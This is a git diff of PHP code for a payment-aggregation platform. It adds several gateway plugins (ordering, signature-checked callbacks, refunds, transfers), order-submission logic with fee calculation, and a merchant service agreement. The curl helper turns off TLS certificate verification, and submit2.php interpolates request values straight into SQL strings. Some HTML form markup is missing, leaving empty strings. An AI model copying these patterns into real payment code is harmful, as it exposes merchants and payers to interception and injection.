['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //转账 + static public function transfer($channel, $bizParam){ + global $conf; + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT.'yseqt/inc/YseqtClient.php'); + + $params = [ + 'requestNo' => $bizParam['out_biz_no'], + 'merchantNo' => $channel['appmchid'], + 'amount' => $bizParam['money'], + 'orderNote' => $bizParam['transfer_desc'], + 'bankAccountNo' => $bizParam['payee_account'], + 'bankAccountName' => $bizParam['payee_real_name'], + 'notifyUrl' => $conf['localurl'].'pay/transfernotify/'.$channel['id'].'/', + ]; + + try{ + $client = new YseqtClient($channel['appid'], $channel['appkey']); + $result = $client->execute('paymentRequest', $params); + if($result['subCode'] == 'COM000'){ + return ['code'=>0, 'status'=>0, 'orderid'=>$result['tradeSn'], 'paydate'=>date('Y-m-d H:i:s')]; + }else{ + return ['code'=>-1, 'msg'=>$result['subMsg']]; + } + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT.'yseqt/inc/YseqtClient.php'); + + $params = [ + 'requestNo' => $bizParam['out_biz_no'], + 'tradeDate' => substr($bizParam['paydate'], 0, 8), + ]; + + try{ + $client = new YseqtClient($channel['appid'], $channel['appkey']); + $result = $client->execute('paymentQuery', $params); + if($result['subCode'] == 'COM000'){ + if($result['state'] == 'SUCCESS'){ + $status = 1; + }elseif($result['state'] == 'PROCESSING' || $result['orderStatus'] == 'WAIT_PAY'){ + $status = 0; + }else{ + $status = 2; + if($result['msg']){ + $errmsg = $result['msg']; + } + } + return ['code'=>0, 'status'=>$status, 'amount'=>$result['amount'], 'paydate'=>date('Y-m-d H:i:s', strtotime($result['tradeDate'])), 'errmsg'=>$errmsg]; + }else{ + return ['code'=>-1, 'msg'=>$result['subMsg']]; + } + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //余额查询 + static public function balance_query($channel, $bizParam){ + if(empty($channel))exit(); + + require(PLUGIN_ROOT.'yseqt/inc/YseqtClient.php'); + + $params = [ + 'merchantNo' => $channel['appmchid'], + ]; + + try{ + $client = new YseqtClient($channel['appid'], $channel['appkey']); + $result = $client->execute('paymentQuery', $params); + + $desc = '账户总金额:'.$result['totalAmount'].'元'; + $account01 = array_filter($result['accountList'], function($item){ + return $item['accountType'] == '01'; + }); + $account01 = $account01[array_key_first($account01)]; + $account02 = array_filter($result['accountList'], function($item){ + return $item['accountType'] == '02'; + }); + $account02 = $account02[array_key_first($account02)]; + if(!empty($account01['cashAmount'])){ + $desc .= ',可提现金额:'.$account01['cashAmount'].'元'; + } + if(!empty($account01['uncashAmount']) && $account01['uncashAmount'] > 0){ + $desc .= ',不可提现金额:'.$account01['uncashAmount'].'元'; + } + elseif(!empty($account02['uncashAmount'])){ + $desc .= ',不可提现金额:'.$account02['uncashAmount'].'元'; + } + if(!empty($result['settledUnpaidAmount'])){ + $desc .= ',待结算金额:'.$result['settledUnpaidAmount'].'元'; + } + + return ['code'=>0, 'amount'=>$account01['cashAmount'], 'msg'=>$desc]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //付款异步回调 + static public function transfernotify(){ + global $channel; + + require(PAY_ROOT."inc/YseqtClient.php"); + + $client = new YseqtClient($channel['appid'], $channel['appkey']); + $verify_result = $client->verify($_POST); + + if($verify_result) {//验证成功 + $arr = json_decode($_POST['bizResponseJson'], true); + + if($arr['state'] == 'SUCCESS'){ + $status = 1; + }else{ + $status = 2; + if($arr['msg']){ + $errmsg = $arr['msg']; + } + } + processTransfer($arr['requestNo'], $status, $errmsg); + + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } +} \ No newline at end of file diff --git a/plugins/zhangyishou/inc/config.php b/plugins/zhangyishou/inc/config.php new file mode 100644 index 0000000..c3f4e3e --- /dev/null +++ b/plugins/zhangyishou/inc/config.php @@ -0,0 +1,40 @@ + $channel['appid'], + + //商户编号 + 'MerchantNo' => $channel['appurl'], + + //商户密钥 + 'key' => $channel['appkey'], + + //通道ID + 'PayChannelId' => $channel['appmchid'], +); + +function zz_get_curl($url, $post=0) +{ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + /*curl_setopt($ch, CURLOPT_PROXYAUTH, CURLAUTH_BASIC); + curl_setopt($ch, CURLOPT_PROXY, ''); + curl_setopt($ch, CURLOPT_PROXYPORT, 808); + curl_setopt($ch, CURLOPT_PROXYUSERPWD, ''); + curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);*/ + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Content-Type: application/json; charset=utf-8"; + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + if ($post) { + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $post); + } + curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0"); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + $ret = curl_exec($ch); + curl_close($ch); + return $ret; +} \ No newline at end of file diff --git a/plugins/zhangyishou/zhangyishou_plugin.php b/plugins/zhangyishou/zhangyishou_plugin.php new file mode 100644 index 0000000..14ab39f --- /dev/null +++ b/plugins/zhangyishou/zhangyishou_plugin.php @@ -0,0 +1,314 @@ + 'zhangyishou', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '掌易收聚合支付', //支付插件显示名称 + 'author' => '掌易收', //支付插件作者 + 'link' => 'http://www.zhangyishou.com/', //支付插件作者链接 + 'types' => ['alipay','qqpay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '登录账号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户密钥', + 'type' => 'input', + 'note' => '', + ], + 'appurl' => [ + 'name' => '商户编号', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '通道ID', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => null, + 'note' => '如果微信通道有扫码和小程序2种,直接在通道ID填写2个ID,用|隔开', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + /*if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/']; + }*/ + + return ['type'=>'jump','url'=>'/pay/'.$order['typename'].'/'.TRADE_NO.'/']; + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + $typename = $order['typename']; + return self::$typename(); + } + + //通用扫码 + static public function qrcode($type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/config.php"); + $getwayurl = 'https://apipay.zhangyishou.com/api/Order/AddOrder'; + $params = [ + 'MerchantId' => $pay_config['MerchantId'], + 'DownstreamOrderNo' => TRADE_NO, + 'OrderTime' => date('Y-m-d H:i:s'), + 'PayChannelId' => $pay_config['PayChannelId'], + 'AsynPath' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'OrderMoney' => sprintf("%.2f",$order['realmoney']), + 'IPPath' => $clientip, + ]; + + $signStr = ""; + foreach($params as $row){ + $signStr .= $row; + } + $signStr .= $pay_config['key']; + $params['MD5Sign'] = md5($signStr); + $params['MerchantNo'] = $pay_config['MerchantNo']; + $params['Mproductdesc'] = $ordername; + if($type == 'qqpay' && checkmobbileqq() || $type == 'wxpay' && checkwechat()){ + $params['ReturnUrl'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($getwayurl, $params) { + $data = zz_get_curl($getwayurl, json_encode($params)); + $result = json_decode($data, true); + + if($result['Code']=='1009'){ + $code_url = $result['Info']; + }else{ + //echo json_encode($params); + throw new Exception('['.$result['Code'].']'.$result['Message'].':'.$result['Info']); + } + + return $code_url; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::qrcode('alipay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $device, $mdevice; + + if(strpos($channel['appmchid'],'|')){ + $appmchid = explode('|',$channel['appmchid']); + $channel['appmchid'] = $appmchid[0]; + if (checkmobile() && !checkwechat() || $device=='mobile' && $mdevice!='wechat') { + $channel['appmchid'] = $appmchid[1]; + $isscheme = true; + } + } + + try{ + $code_url = self::qrcode('wxpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($isscheme){ + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + } elseif(checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + static private function wx_get_code($orderno, $redirect_uri){ + global $channel; + $url = 'https://apipay.zhangyishou.com/api/get/code'; + $params = [ + 'Apptype' => '0', + 'Code' => '', + 'MD5Sign' => '', + 'MerchantId' => '', + 'OrderNo' => $orderno, + 'RedirectUri' => $redirect_uri, + 'WayId' => $channel['appmchid'], + ]; + $data = zz_get_curl($url, json_encode($params)); + $result = json_decode($data, true); + if($result['Code']=='1009'){ + return $result['Info']; + }else{ + throw new Exception('获取登录地址失败['.$result['Code'].']'.$result['Message'].':'.$result['Info']); + } + } + + static private function wx_get_openid($orderno, $code){ + global $channel; + $url = 'https://apipay.zhangyishou.com/api/get/userId'; + $params = [ + 'Apptype' => '0', + 'Code' => $code, + 'MD5Sign' => '', + 'MerchantId' => '', + 'OrderNo' => $orderno, + 'RedirectUri' => '', + 'WayId' => $channel['appmchid'], + ]; + $data = zz_get_curl($url, json_encode($params)); + $result = json_decode($data, true); + if($result['Code']=='1009'){ + return $result['Info']; + }else{ + throw new Exception('获取OpenId失败['.$result['Code'].']'.$result['Message'].':'.$result['Info']); + } + } + + static private function wx_get_paydata($orderno, $openid){ + global $channel; + $url = 'https://apipay.zhangyishou.com/api/Order/byOrderNoPay'; + $params = [ + 'openId' => $openid, + 'orderNo' => $orderno, + ]; + $data = zz_get_curl($url, json_encode($params)); + $result = json_decode($data, true); + if($result['Code']=='1009'){ + return $result['Info']; + }else{ + throw new Exception('获取公众号支付参数失败['.$result['Code'].']'.$result['Message'].':'.$result['Info']); + } + } + + static public function wxjspay(){ + global $channel, $siteurl; + + try{ + $code_url = self::qrcode('wxpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + $orderno = substr($code_url, strpos($code_url, 'OrderNo=')+8); + + if(!isset($_GET['code'])){ + $redirect_uri = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + $jump_url = self::wx_get_code($orderno, $redirect_uri); + $jump_url = str_replace('pay.html', 'skip.html', $jump_url); + return ['type'=>'jump','url'=>$jump_url]; + } + $code = trim($_GET['code']); + $openid = self::wx_get_openid($orderno, $code); + $paydata = self::wx_get_paydata($orderno, $openid); + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$paydata, 'redirect_url'=>$redirect_url]]; + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + $code_url = self::qrcode('qqpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$ex->getMessage()]; + } + + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::qrcode('bank'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/config.php"); + $json = file_get_contents("php://input"); + $data = json_decode($json, true); + + $signStr = $data['MerchantId'].$data['DownstreamOrderNo'].$pay_config['key']; + $sign = md5($signStr); + + if($sign === $data['Signature']){ + if($data['OrderState'] == 1){ + $trade_no = $data['OrderNo']; + if($data['DownstreamOrderNo'] == TRADE_NO && round($data['OrderMoney'],2)==round($order['realmoney'],2)){ + processNotify($order, $trade_no); + } + return ['type'=>'html','data'=>'OK']; + } + } + return ['type'=>'html','data'=>'ERROR']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/config.php"); + $getwayurl = 'https://apipay.zhangyishou.com/api/OrderRefund/Refund'; + $params = [ + 'MerchantId' => $pay_config['MerchantId'], + 'MerchantOrderNo' => TRADE_NO, + 'RefundAmount' => sprintf("%.2f",$order['refundmoney']), + ]; + + $signStr = ""; + foreach($params as $row){ + $signStr .= $row; + } + $signStr .= $pay_config['key']; + $params['MD5Sign'] = md5($signStr); + + $data = zz_get_curl($getwayurl, json_encode($params)); + + $result = json_decode($data, true); + + if($result['Code']=='1009'){ + $result = ['code'=>0, 'trade_no'=>TRADE_NO, 'refund_fee'=>$order['refundmoney']]; + }else{ + $result = ['code'=>-1, 'msg'=>$result["Message"]]; + } + return $result; + } + +} \ No newline at end of file diff --git a/plugins/zyu/zyu_plugin.php b/plugins/zyu/zyu_plugin.php new file mode 100644 index 0000000..c56e722 --- /dev/null +++ b/plugins/zyu/zyu_plugin.php @@ -0,0 +1,215 @@ + 'zyu', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '知宇支付', //支付插件显示名称 + 'author' => '知宇', //支付插件作者 + 'link' => '', //支付插件作者链接 + 'types' => ['alipay','qqpay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appurl' => [ + 'name' => '支付网关地址', + 'type' => 'input', + 'note' => '', + ], + 'appid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户密钥', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '通道编码', + 'type' => 'input', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '支付跳转模式', + 'type' => 'select', + 'options' => [0=>'直接跳转接口(默认)',1=>'请求接口后跳转',2=>'请求接口后扫码'], + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static private function make_sign($param, $key){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr .= 'key='.$key; + $sign = strtoupper(md5($signstr)); + return $sign; + } + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + if($channel['appswitch']>=1){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/?type='.$order['typename']]; + } + + $apiurl = $channel['appurl']; + $data = array( + "pay_memberid" => $channel['appid'], + "pay_orderid" => TRADE_NO, + "pay_amount" => (float)$order['realmoney'], + "pay_applydate" => date("Y-m-d H:i:s"), + "pay_bankcode" => $channel['appmchid'], + "pay_notifyurl" => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + "pay_callbackurl" => $siteurl.'pay/return/'.TRADE_NO.'/', + ); + + $data["pay_md5sign"] = self::make_sign($data, $channel['appkey']); + $data["pay_productname"] = $ordername; + + $html_text = '
    '; + foreach($data as $k => $v) { + $html_text .= "\n"; + } + $html_text .= '
    '; + + return ['type'=>'html','data'=>$html_text]; + } + + //通用下单 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + $apiurl = $channel['appurl']; + $data = array( + "pay_memberid" => $channel['appid'], + "pay_orderid" => TRADE_NO, + "pay_amount" => (float)$order['realmoney'], + "pay_applydate" => date("Y-m-d H:i:s"), + "pay_bankcode" => $channel['appmchid'], + "pay_notifyurl" => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + "pay_callbackurl" => $siteurl.'pay/return/'.TRADE_NO.'/', + ); + + $data["pay_md5sign"] = self::make_sign($data, $channel['appkey']); + $data["pay_productname"] = $ordername; + $res = get_curl($apiurl,http_build_query($data)); + $result = json_decode($res,true); + if(isset($result['status']) && ($result['status']==200 || $result['status']=='success') || isset($result['code']) && $result['code']==200){ + if(isset($result['data'])){ + $code_url = $result['data']; + if(is_array($code_url)) $code_url = $result['data']['payUrl']; + }elseif(isset($result['payurl'])){ + $code_url = $result['payurl']; + }else{ + return ['type'=>'error','msg'=>'获取支付链接失败']; + } + if($channel['appswitch']==2){ + if($_GET['type'] == 'alipay'){ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + }elseif($_GET['type'] == 'wxpay'){ + if (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + }elseif($_GET['type'] == 'qqpay'){ + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + }elseif($_GET['type'] == 'bank'){ + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + }else{ + return ['type'=>'jump','url'=>$code_url]; + } + }else{ + return ['type'=>'error','msg'=>'创建订单失败!'.$result['msg']]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $data = array( // 返回字段 + "memberid" => $_REQUEST["memberid"], // 商户ID + "orderid" => $_REQUEST["orderid"], // 订单号 + "amount" => $_REQUEST["amount"], // 交易金额 + "datetime" => $_REQUEST["datetime"], // 交易时间 + "transaction_id" => $_REQUEST["transaction_id"], // 流水号 + "returncode" => $_REQUEST["returncode"] + ); + + $sign = self::make_sign($data, $channel['appkey']); + + if ($sign === $_REQUEST["sign"]) { + + if ($data["returncode"] == "00") { + //付款完成后,支付宝系统发送该交易状态通知 + $out_trade_no = daddslashes($data['orderid']); + $trade_no = daddslashes($data['transaction_id']); + if($out_trade_no == TRADE_NO && round($data["amount"],2)==round($order['realmoney'],2)){ + processNotify($order, $trade_no); + } + } + + return ['type'=>'html','data'=>'OK']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'FAIL']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + $data = array( // 返回字段 + "memberid" => $_REQUEST["memberid"], // 商户ID + "orderid" => $_REQUEST["orderid"], // 订单号 + "amount" => $_REQUEST["amount"], // 交易金额 + "datetime" => $_REQUEST["datetime"], // 交易时间 + "transaction_id" => $_REQUEST["transaction_id"], // 流水号 + "returncode" => $_REQUEST["returncode"] + ); + + $sign = self::make_sign($data, $channel['appkey']); + + if ($sign === $_REQUEST["sign"]) { + + if ($data["returncode"] == "00") { + //付款完成后,支付宝系统发送该交易状态通知 + $out_trade_no = daddslashes($data['orderid']); + $trade_no = daddslashes($data['transaction_id']); + if($out_trade_no == TRADE_NO && round($data["amount"],2)==round($order['realmoney'],2)){ + processReturn($order, $trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + } + else { + return ['type'=>'error','msg'=>'returncode='.$data["returncode"]]; + } + } + else { + //验证失败 + return ['type'=>'error','msg'=>'验证失败!']; + } + } + +} \ No newline at end of file diff --git a/submit.php b/submit.php new file mode 100644 index 0000000..5d0b767 --- /dev/null +++ b/submit.php @@ -0,0 +1,9 @@ +submit(); diff --git a/submit2.php b/submit2.php new file mode 100644 index 0000000..47cc35c --- /dev/null +++ b/submit2.php @@ -0,0 +1,97 @@ +getRow("SELECT * FROM pre_order WHERE trade_no='{$trade_no}' LIMIT 1"); +if(!$order)sysmsg('该订单号不存在,请返回来源地重新发起请求!'); +if($order['status']>0){ + sysmsg('该订单('.$order['out_trade_no'].')已完成支付,请勿重复发起支付'); +} +$firstGetChannel = true; +if($order['type'] > 0 && $order['channel'] > 0 && $order['realmoney'] > 0 && $order['getmoney'] > 0){ + $firstGetChannel = false; + if($typeid != $order['type']){ + sysmsg('该订单已选择支付方式,如需更换其他支付方式请返回网站重新下单'); + } +} + +// 获取订单支付方式ID、支付插件、支付通道、支付费率 +$userrow = $DB->getRow("SELECT `uid`,`gid`,`money`,`mode`,`channelinfo`,`ordername` FROM `pre_user` WHERE `uid`='{$order['uid']}' LIMIT 1"); +$groupconfig = getGroupConfig($userrow['gid']); +$conf = array_merge($conf, $groupconfig); + +if($firstGetChannel){ + $submitData = \lib\Channel::submit2($typeid, $userrow['uid'], $userrow['gid'], $order['money']); + if(!$submitData){ + sysmsg('
    当前支付方式无法使用
    ', '跳转提示'); + } + + if($userrow['mode']==1 && $order['tid']!=4 || $order['tid']==2){ //订单加费模式(排除购买用户组)或余额充值 + $realmoney = round($order['money']*(100+100-$submitData['rate'])/100,2); + $getmoney = $order['money']; + if($conf['payfee_lessthan'] > 0 && $conf['payfee_mincost'] > 0){ + $feemoney = round($order['money']*(100-$submitData['rate'])/100,2); + if($feemoney < round($conf['payfee_lessthan'], 2)){ + $realmoney = round($order['money'] + $conf['payfee_mincost'], 2); + } + } + }else{ + $realmoney = $order['money']; + $getmoney = round($order['money']*$submitData['rate']/100,2); + if($conf['payfee_lessthan'] > 0 && $conf['payfee_mincost'] > 0){ + $feemoney = round($order['money']*(100-$submitData['rate'])/100,2); + if($feemoney < round($conf['payfee_lessthan'], 2)){ + $getmoney = round($order['money'] - $conf['payfee_mincost'], 2); + if($getmoney < 0) $getmoney = 0; + } + } + } +}else{ + $submitData = \lib\Channel::info($order['channel']); + $submitData['typename'] = $DB->getColumn("SELECT name FROM pre_type WHERE id='{$typeid}' LIMIT 1"); + $submitData['subchannel'] = $order['subchannel']; + $realmoney = $order['realmoney']; + $getmoney = $order['getmoney']; +} + +// 判断通道单笔支付限额 +if(!empty($submitData['paymin']) && $submitData['paymin']>0 && $order['money']<$submitData['paymin']){ + sysmsg('
    当前支付方式单笔最小限额为'.$submitData['paymin'].'元,请选择其他支付方式!
    ', '跳转提示'); +} +if(!empty($submitData['paymax']) && $submitData['paymax']>0 && $order['money']>$submitData['paymax']){ + sysmsg('
    当前支付方式单笔最大限额为'.$submitData['paymax'].'元,请选择其他支付方式!
    ', '跳转提示'); +} +// 商户直清模式判断商户余额 +if($submitData['mode']==1 && $realmoney-$getmoney>$userrow['money']){ + sysmsg('当前商户余额不足,无法完成支付,请商户登录用户中心充值余额'); +} + +if($firstGetChannel){ + // 随机增减金额 + if(empty($order['realmoney'])&&!empty($conf['pay_payaddstart'])&&$conf['pay_payaddstart']!=0&&!empty($conf['pay_payaddmin'])&&$conf['pay_payaddmin']!=0&&!empty($conf['pay_payaddmax'])&&$conf['pay_payaddmax']!=0&&$realmoney>=$conf['pay_payaddstart'])$realmoney = round($realmoney + randomFloat(round($conf['pay_payaddmin'],2),round($conf['pay_payaddmax'],2)), 2); + + $DB->update('order', ['type'=>$submitData['typeid'], 'channel'=>$submitData['channel'], 'subchannel'=>$submitData['subchannel'], 'realmoney'=>$realmoney, 'getmoney'=>$getmoney], ['trade_no'=>$trade_no]); +} + + +$order['realmoney'] = $realmoney; +$order['type'] = $submitData['typeid']; +$order['channel'] = $submitData['channel']; +$order['subchannel'] = $submitData['subchannel']; +$order['typename'] = $submitData['typename']; +$order['plugin'] = $submitData['plugin']; +$order['profits'] = \lib\Payment::updateOrderProfits($order, $submitData['plugin']); + +try{ + $result = \lib\Plugin::loadForSubmit($submitData['plugin'], $trade_no); + $result['submit'] = true; + \lib\Payment::echoDefault($result); +}catch(Exception $e){ + sysmsg($e->getMessage()); +} diff --git a/template/default/agreement.php b/template/default/agreement.php new file mode 100644 index 0000000..9e2833c --- /dev/null +++ b/template/default/agreement.php @@ -0,0 +1,48 @@ + + + +
    + + +
    +
    服务条款
    +
    请使用本支付系统前,先认真阅读商户服务条款,系统有权力随时更新条款,请您严格遵守我们服务条款内的条约,注册商户后则默认代表您已同意我们的服务条款。
    +
    +
    +
    + + +
    + + +
    + +
    +
    +
    +

    +

    特别提示:

    本协议由系统和你共同签订,具有合同法律效力。

    请你务必审慎阅读并充分理解各条款内容,特别是免除或者限制责任的条款、争议解决和法律适用条款。免除或者限制责任的条款可能以加粗字体显示,你应重点阅读。除非你已阅读并接受本协议所有条款,否则你无权使用本服务。你使用本服务即视为你已阅读并同意本协议的约束。如你对本协议有任何疑问的,应向客服咨询。

    一、定义

    如无特别说明,下列术语在本协议中的定义为:

    1.1商户号:指你凭以登录,操作商户平台的账号,你成功申请商户号后,系统将向你在本协议中载明的联系邮箱发送电子邮件,告知你的商户平台登录账号及初始密码,你可在商户平台中修改该初始密码,你亦可根据需要在商户平台中为该登录账号设置对应的商户密钥,用来查询和操作系统商户号。

    1.2商户密钥:指你凭以登录,操作商户平台的账号密码,你成功申请商户号后,系统将向你在本协议中载明的联系邮箱发送电子邮件,告知你的商户平台登录账号及初始密码,你可在商户平台中修改该初始密码,你亦可根据需要在商户平台中为该登录账号设置对应的商户密钥,用来查询和操作系统商户号。

    1.3结算:指用户购买你的商品或服务后,系统在一定周期内将交易资金记账至你的系统商户号,并根据协议约定和你设置提现至你银行账户的行为。

    1.4提现:系统根据你指令或协议约定,在一定周期内向备付金存款银行发出转账指令,要求备付金存款银行将相应资金转账至你指定的合法收款账户的行为。

    二、服务内容

    2.1本服务的场景和功能。系统为你提供货币资金转移服务,当用户购买你的商品或服务时,可通过本服务完成交易。本服务的具体运用包括WAP支付,H5支付等

    2.2服务限制。本服务仅能用于你在商户平台申报并经核准的商品或服务,且每笔订单不能超过系统规定的限额。你了解并同意系统有权根据你经营的商品或服务类型,以及你经营活动的风险状况调整你的交易额度。

    三、系统的权利和义务

    3.1支付系统建设。系统负责支付系统的建设、运行和管理,并确保该系统的安全性。

    3.2交易查询。系统设立网上交易查询系统及查询接口,为你提供商户信息管理和交易信息查询服务。

    3.3支付指令校验。系统依据你的商户平台登录账号、登录密码来校验你支付指令的真实性、有效性。当你的商户平台登录账号和登录密码均校验通过时,即视为系你本人操作系统商户号,系统无需校验其他信息即可执行支付指令。

    3.4交易纠纷处理。系统仅为你提供货币资金转移服务,你与用户或其他主体之间的纠纷由你自行负责处理,与系统无关,但是,因系统系统故障引起的资金转移服务纠纷除外。

    3.5商户经营审核。系统有权定期或不定期审核你的业务类型,以及通过本服务售卖的物品和服务,若你违反本协议第2.2条约定或从事不符合国家相关法律法规规定的经营活动时,系统有权暂停或终止提供服务。

    3.6交易停滞。你自开户之日起6个月内无交易记录,或连续180个自然日未利用本服务产生交易额的,系统有权暂停服务并要求你重新核实身份,你不予配合或身份核实未通过的,系统有权终止本协议且无需承担任何法律责任。如果你的受理终端或收款码连续3个月内未发生交易,系统有权暂停服务并要求你重新核实身份,你不予配合或身份核实未通过的,系统有权停止为你提供收款服务。如果你的受理终端或收款码连续12个月内未发生交易的,系统有权停止为你提供收款服务。

    3.7延迟结算。系统发现你可能存在洗钱、恐怖融资、欺诈交易、信用卡套现、恶意倒闭或其他违法违规行为,或系统发现你存在集中转入分散转出等可疑交易特征的交易或存在争议交易时,系统可以对你系统商户号中的相应资金进行延迟结算,已经结算的,系统可以延迟转账到你指定银行帐户和支付帐户。对于延迟结算、延迟转账的资金,直至排除违法违规嫌疑时,系统才恢复该部分资金的结算和转账。你的行为导致系统遭受损失的,你还应当承担赔偿责任。

    3.8身份验证和授权。你使用本服务,即表明你同意系统收集、记录和使用你使用本服务过程中产生的相关信息和数据,包括但不限于你及其法定代表人、负责人的身份信息、账户信息和交易信息等,并将前述信息提交国家机关、金融机构和其他企事业单位进行身份验证和鉴权。系统有权根据需要收集、保存、核实你法定代表人、负责人的音频和视频资料。为更好地提供服务,系统及关联公司有权在法律允许的范围内自行收集、记录、使用上述信息和数据。

    3.9系统有权对你的业务进行风险管理,持续监测和分析交易金额、笔数、类型、时间、频率和收款方、付款方等特征,完善可疑交易监测模型。如系统发现交易金额、时间、频率与特约商户经营范围、规模不相符等异常情形的,有权对你采取延迟资金结算、设置收款限额、暂停银行卡交易、暂停使用权限等措施。

    四、你的权利和义务

